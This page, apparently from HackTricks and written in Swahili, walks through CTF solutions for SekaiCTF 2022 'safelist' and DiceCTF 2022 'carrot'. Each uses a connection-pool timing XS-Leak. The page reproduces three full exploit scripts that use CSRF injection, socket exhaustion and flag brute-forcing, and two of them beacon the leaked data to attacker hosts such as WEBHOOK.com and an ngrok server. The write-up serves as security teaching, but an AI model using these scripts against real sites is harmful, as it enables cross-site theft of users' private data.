Connection Pool Examples

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Sekaictf2022 - safelist

Katika changamoto ya Sekaictf2022 - safelist, @Strellic_ anatoa mfano wa jinsi ya kutumia mabadiliko ya tekneka ya Pool ya Uunganisho kufanya XS-Leak.

Katika changamoto hii, lengo ni kuiba bendera ambayo itaonekana katika kikao cha wavuti cha bots ndani ya chapisho. Hizi ni mali ambazo mshambuliaji anazo:

Bot atatembelea URL iliyotolewa na mshambuliaji
Mshambuliaji anaweza kuingiza HTML kwenye ukurasa (lakini sio JS, dompurify inatumika) kwa kudanganya CSRF kufanya bot kuunda chapisho na HTML hiyo.
Mshambuliaji anaweza kutumia CSRF kufanya bot ifute chapisho cha kwanza ndani ya wavuti.
Kwa sababu machapisho yamepangwa kwa herufi, wakati chapisho cha kwanza kinafutwa, ikiwa yaliyomo ya HTML ya mshambuliaji ina jazwa, inamaanisha kuwa ilikuwa kabla ya bendera kwa herufi.

Kwa hivyo, ili kuiba bendera, suluhisho lililopendekezwa na @Strellyc_ ni, kwa kila herufi ya kujaribu, kufanya bot:

Unda chapisho jipya ambalo linaanza na sehemu inayojulikana ya bendera na upakie picha kadhaa.
Futa chapisho katika nafasi 0.
Zuia soketi 255.
Pakia ukurasa na machapisho
Fanya ombi 5 la nasibu kwa tovuti (mfano.com katika kesi hii) na pima wakati huu unachukua.

Ikiwa chapisho kilichofutwa kilikuwa bendera, hii inamaanisha kuwa picha zote zilizoingizwa kwenye HTML zitakuwa zikipigana na ombi 5 la nasibu kwa soketi hiyo isiyozuiliwa. Hii inamaanisha kuwa wakati uliopimwa utakuwa mkubwa kuliko hali nyingine.

Ikiwa chapisho kilichofutwa kilikuwa HTML, ombi 5 la nasibu litakuwa haraka kwa sababu halihitaji kupigana na HTML iliyoingizwa kwa soketi hiyo.

Kudukua 1

Hii ni nambari ya kudukua, iliyochukuliwa kutoka https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html:

<!-- Form to inject HTML code in the bots page -->
<form method="POST" action="https://safelist.ctf.sekai.team/create" id="create" target="_blank">
<input type="text" name="text" />
<input type="submit" />
</form>

<!-- Form to delete the first entry -->
<form method="POST" action="https://safelist.ctf.sekai.team/remove" id="remove" target="_blank">
<input type="text" name="index" value="0" />
<input type="submit" />
</form>

<script>
// Attacker listening
const WEBHOOK = "https://WEBHOOK.com/";
// Send data to attacker
const log = (id, data) => {
let payload = JSON.stringify({ known, alphabet, data });
console.log(id, payload);
navigator.sendBeacon(WEBHOOK + "?" + id, payload);
}

// Similar to JQuery
const $ = document.querySelector.bind(document);

// Known part of the flag
const known = "SEKAI{";
let alphabet = "_abcdefghijklmnopqrstuvwxyz}";

// Reduce the alphabet using a hash (#) in the URL
if (location.hash) {
alphabet = alphabet.slice(alphabet.indexOf(location.hash.slice(1)));
}

// Funtion to leak chars
const leak = async (c) => {
// Prepare post with known flag and the new char
let payload = `${known + c}`;
// Inject as many <img as possible
// you need to respect the CSP and create URLs that are different
for(let i = 0; payload.length < 2048; i++) {
payload += `<img src=js/purify.js?${i.toString(36)}>`;
}

// Inject HTML
$("#create input[type=text]").value = payload;
$("#create").submit();
await new Promise(r => setTimeout(r, 1000));

// Remove post with index 0
$("#remove").submit();
await new Promise(r => setTimeout(r, 500));

let deltas = [];

// Try each char 3 times
for (let i = 0; i < 3; i++) {
const SOCKET_LIMIT = 255;
// you will need a custom server that works like num.sleepserver.com/sleep/delay
// needed to freeze the blocked sockets, and they have to all be on different origins
// Check https://www.npmjs.com/package/sleep-server using subdomains DNS wildcard
const SLEEP_SERVER = i => `http://${i}.sleepserver.com/sleep/60`;

const block = async (i, controller) => {
try {
return fetch(SLEEP_SERVER(i), { mode: "no-cors", signal: controller.signal });
}
catch(err) {}
};

// block SOCKET_LIMIT sockets
const controller = new AbortController();
for (let i = 0; i < SOCKET_LIMIT; i++) {
block(i, controller);
}

// Make the bot access the page with the posts
window.open("https://safelist.ctf.sekai.team/?" + Math.random().toString(36).slice(2), "pwn");
await new Promise(r => setTimeout(r, 500));

// start meassuring time to perform 5 requests
let start = performance.now();
await Promise.all([
fetch("https://example.com", { mode: "no-cors" }),
fetch("https://example.com", { mode: "no-cors" }),
fetch("https://example.com", { mode: "no-cors" }),
fetch("https://example.com", { mode: "no-cors" }),
fetch("https://example.com", { mode: "no-cors" })
]);
let delta = performance.now() - start;
document.title = delta;
controller.abort();

log("test_" + c + "_" + i, delta);

// Save time needed
deltas.push(delta);
}
return deltas;
};

// Check each char
const pwn = async () => {
// Try to leak each character
for(let i = 0; i < alphabet.length; i++) {
//Check the indicated char
let deltas = await leak(alphabet[i]);

// Calculate mean time from requests to example.com
let avg = deltas.reduce((a,v) => a+v, 0) / deltas.length;

// If greater than 250, the HTML code was injected (flag in index 0)
if (avg > 250) {
log("tests_pos_" + alphabet[i], deltas)
}
// Flag in the page
else {
log("tests_neg_" + alphabet[i], deltas)
}
}
};

window.onload = async () => {
pwn();
};
</script>

Kuvamia 2

Mbinu ile ile lakini namna tofauti ya kificho kutoka https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/

<!DOCTYPE html>
<html>
<!--
The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs main thread.
If images are loading, the request to "/" is slower, otherwise faster.
By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.
We can use fetch to measure the request time.
-->
<body>
<button onclick="run()">start</button>
<form id=f action="http://localhost:1234/create" method="POST" target="_blank">
<input id=inp name="text" value="">
</form>

<form id=f2 action="http://localhost:1234/remove" method="POST" target="_blank">
<input id=inp2 name="index" value="">
</form>
<script>
let flag = 'SEKAI{'
const TARGET = 'https://safelist.ctf.sekai.team'
f.action = TARGET + '/create'
f2.action = TARGET + '/remove'

const sleep = ms => new Promise(r => setTimeout(r, ms))
const send = data => fetch('http://server.ngrok.io?d='+data)
const charset = 'abcdefghijklmnopqrstuvwxyz'.split('')

// start exploit
let count = 0
setTimeout(async () => {
let L = 0
let R = charset.length - 1
while( (R-L)>3 ) {
let M = Math.floor((L + R) / 2)
let c = charset[M]
send('try_' + flag + c)
const found = await testChar(flag + c)
if (found) {
L = M
} else {
R = M - 1
}
}

// fallback to linear since I am not familiar with binary search lol
for(let i=R; i>=L; i--) {
let c = charset[i]
send('try_' + flag + c)
const found = await testChar(flag + c)
if (found) {
send('found: '+ flag+c)
flag += c
break
}
}

}, 0)

async function testChar(str) {
return new Promise(resolve => {
/*
For 3350, you need to test it on your local to get this number.
The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold
If starts with "A", the image should be loaded because it's in the threshold.
*/
inp.value = str + '<br><canvas height="3350px"></canvas><br>'+Array.from({length:20}).map((_,i)=>`<img loading=lazy src=/?${i}>`).join('')
f.submit()

setTimeout(() => {
run(str, resolve)
}, 500)
})
}

async function run(str, resolve) {
// if the request is not enough, we can send more by opening more window
for(let i=1; i<=5;i++) {
window.open(TARGET)
}

let t = 0
const round = 30
setTimeout(async () => {
for(let i=0; i<round; i++) {
let s = performance.now()
await fetch(TARGET + '/?test', {
mode: 'no-cors'
}).catch(err=>1)
let end = performance.now()
t += end - s
console.log(end - s)
}
const avg = t/round
send(str + "," + t + "," + "avg:" + avg)

/*
I get this threshold(1000ms) by trying multiple times on remote admin bot
for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold
*/
const isFound = (t >= 1000)
if (isFound) {
inp2.value = "0"
} else {
inp2.value = "1"
}

// remember to delete the post to not break our leak oracle
f2.submit()
setTimeout(() => {
resolve(isFound)
}, 200)
}, 200)
}

</script>

</body>

</html>

DiceCTF 2022 - carrot

Katika kesi hii hatua ya kwanza ya shambulio ilikuwa kutumia CSRF kubadilisha ukurasa ambapo bendera inapatikana ili uwe na maudhui mengi zaidi (na kwa hivyo kuchukua muda mrefu kuipakia), na kisha tumia mfumo wa uhusiano ili kupima muda inachukua kufikia ukurasa ambao huenda una bendera.

Katika shambulio unaweza kuona:

Kutumia CSRF
Kuchukua soketi zote isipokuwa 1
Kalibisha majibu
Anza kuvunja kwa kufikia ukurasa unaoweza kuwa na bendera
Ukurasa unaoweza kuwa na bendera utafikiwa na mara moja URL inayodhibitiwa na mshambuliaji pia itafikiwa ili kuangalia muda unaotumiwa na maombi yote mawili.

<h1>DiceCTF 2022 web/carrot</h1>

<p>Step 1: CSRF the admin user, to set a super long title for the flag note (LAX + POST form only possible for 2 minutes after cookies is created)</p>
<button onclick="csrf()">do csrf</button>
<p>Step 2: XS-Search with <a href="https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/">connection-pool timing leak</a>, we have to use window.open (LAX cookie)</p>

<button onclick="popunder()">open popup</button>
<button onclick="exhaust_sockets()">open 255 connections</button>
<button onclick="oracle('dice{abc')">test search "abc" (slow)</button>
<button onclick="oracle('dice{xxx')">test search "xxx" (fast)</button>
<br>
<br>
<h2 id=output></h2>
<br>
<form id=x action="" method="POST" style="display:none;">
<input type="text" name="title" placeholder="title">
<br><br>
<input type="number" name="priority" placeholder="priority" value=9999>
<br><br>
<textarea name="content" placeholder="content" rows="5" cols="20"></textarea>
<br><br>
<input type="submit" value="submit">
</form>

<script>

// this is send is used as logging
LOG = 'Starting'
// 255 in normal chrome, 99 in headless
SOCKETLIMIT = 255;
// default
TIMELIMIT = 800;
INSTANCE = ''
MYSERVER = `example.com`

const sleep = (ms) => {
return new Promise(resolve => {
setTimeout(resolve, ms);
});
}

const time_fetch = async() => {
let test_server_url = `https://${MYSERVER}/?${LOG}`;
let start = window.performance.now();
try {
await fetch(test_server_url, {
mode: 'no-cors'
});
} catch (e) {
console.log(e);
}
let end = window.performance.now();
return end - start;
}

const fetch_sleep_long = (i) => {
// 40s sleep
return fetch(`https://${i}.${MYSERVER}/40sleep`, {
mode: 'no-cors'
});
}

const fetch_sleep_short = (i) => {
// 0.25s sleep
return fetch(`https://${i}.${MYSERVER}/ssleep`, {
mode: 'no-cors'
});
}

const block_socket = async (i) => {
fetch_sleep_long(i);
// needed?
await sleep(0);
}

const exhaust_sockets = async() => {
let i = 0
for (; i < SOCKETLIMIT; i++) {
block_socket(i);
}
console.log(`Used ${i} connections`);
}

const timeit = async (url, popup) => {
return new Promise(async (r) => {

popup.location = url;
// needed?
await sleep(50)

let val = await time_fetch()
r(val)
});
}

// const alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ-}!"#$%&\'()*+,-./:;<=>?@[\\]^`|~{'.split('');
const alphabet = 'abcdefghijklmnopqrstuvwxyz}_'.split('');
// const alphabet = 'abcdef}'.split('');

const oracle = async (search) => {
let url = `https://carrot-${INSTANCE}.mc.ax/tasks?search=${search}`
let t = await timeit(url, WINBG)

LOG = `${search}:${t}`
console.log(`${search}:${t}`)

return t > TIMELIMIT
}

const brute = async (flag) => {
for (const char of alphabet) {
if (await oracle(flag + char)) {
return char;
}
}
return false;
}

const calibrate = async () => {
return new Promise(async (r) => {
// slow
let url1 = `https://carrot-${INSTANCE}.mc.ax/tasks?search=dice{`
let t1 = await timeit(url1, WINBG)
console.log(`slow:${t1}`)
// fast
let url2 = `https://carrot-${INSTANCE}.mc.ax/tasks?search=XXXXXXXXXX`
let t2 = await timeit(url2, WINBG)
console.log(`fast:${t2}`)
return r((t1 + t2) / 2)
});

}

const exploit = async(flag = '') => {
console.log('Starting')
// dont go to fast plz :)
console.log(`waiting 3s`)
await sleep(3000)
// exaust sockets
await exhaust_sockets()
await sleep(2000)
LOG = `Calibrating`
TIMELIMIT = await calibrate()
LOG = `TIMELIMIT:${TIMELIMIT}`
console.log(`timelimit:${TIMELIMIT}`)
await sleep(2000)
let last;
while (true) {
last = await brute(flag);
if (last === false) {
return flag;
}
else {
flag += last;
output.innerText = flag;
if(last === '}'){
return flag
}
}
}
}

const popunder = () => {
if (window.opener) {
WINBG = window.opener
}
else {
WINBG = window.open(location.href, target="_blank")
location = `about:blank`
}
}

const csrf = async () => {
x.action = `https://carrot-${INSTANCE}.mc.ax/edit/0`
x.title.value = "A".repeat(1000000)
x.submit()
}

window.onload = () => {
let p = new URL(location).searchParams;
if(!p.has('i')){
console.log(`no INSTANCE`)
return
}
INSTANCE = p.get('i')
// step 1
if(p.has('csrf')){
csrf()
return
}
// step 2
if (p.has('exploit')) {
// window open is ok in headless :)
popunder()

exploit('dice{')
}
}
</script>

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Ikiwa unataka kuona kampuni yako ikionekana kwenye HackTricks au kupakua HackTricks kwa muundo wa PDF Angalia MPANGO WA KUJIUNGA!
Pata swag rasmi ya PEASS & HackTricks
Gundua The PEASS Family, mkusanyiko wetu wa NFTs ya kipekee
Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye HackTricks na HackTricks Cloud repos za github.

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Last updated 2 months ago